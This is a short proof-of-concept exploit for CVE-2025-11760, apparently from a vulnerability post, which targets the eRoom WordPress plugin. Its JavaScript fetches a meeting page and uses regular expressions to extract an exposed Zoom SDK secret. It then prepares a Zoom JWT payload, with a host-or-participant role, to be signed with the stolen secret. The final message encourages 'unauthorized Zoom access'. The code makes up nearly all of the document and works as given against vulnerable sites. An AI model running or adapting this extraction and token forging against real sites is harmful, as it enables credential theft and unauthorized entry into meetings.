CVE-2025-11760: WordPress eRoom插件Zoom SDK密钥前端泄露漏洞

// CVE-2025-11760 PoC - Extract exposed Zoom SDK Secret // Target: WordPress site with eRoom plugin <= 1.5.6 const targetUrl = 'https://vulnerable-site.com/meeting/123'; async function extractSdkSecret() { try { // Method 1: Fetch page source and extract const response = await fetch(targetUrl); const html = await response.text(); // Search for sdk_secret pattern in JavaScript const secretMatch = html.match(/sdk_secret\s*[=:]\s*["']([^"']+)["']/i); if (secretMatch && secretMatch[1]) { console.log('[+] SDK Secret found:', secretMatch[1]); return secretMatch[1]; } // Method 2: Check for embedded JavaScript variables const scriptMatch = html.match(/var\s+sdk_secret\s*=\s*["']([^"']+)["']/i); if (scriptMatch && scriptMatch[1]) { console.log('[+] SDK Secret found (var):', scriptMatch[1]); return scriptMatch[1]; } console.log('[-] SDK Secret not found in page source'); return null; } catch (error) { console.error('[-] Error:', error.message); return null; } } // Generate JWT using extracted secret (requires jsonwebtoken library) function generateZoomJwt(sdkSecret, meetingNumber) { // JWT payload structure for Zoom SDK const payload = { sdkKey: 'YOUR_SDK_KEY', // Also needs to be extracted appKey: 'YOUR_SDK_KEY', mn: meetingNumber, role: 0, // 0=participant, 1=host iat: Math.round(Date.now() / 1000), exp: Math.round(Date.now() / 1000) + 3600, tokenExp: Math.round(Date.now() / 1000) + 3600 }; // Sign with extracted sdk_secret // const jwt = require('jsonwebtoken'); // return jwt.sign(payload, sdkSecret); console.log('[+] JWT payload prepared, sign with sdk_secret'); return payload; } // Execute PoC (async () => { console.log('[*] CVE-2025-11760 PoC - eRoom Plugin SDK Secret Extraction'); const secret = await extractSdkSecret(); if (secret) { console.log('\n[!] Use extracted secret to generate unauthorized Zoom access'); } })();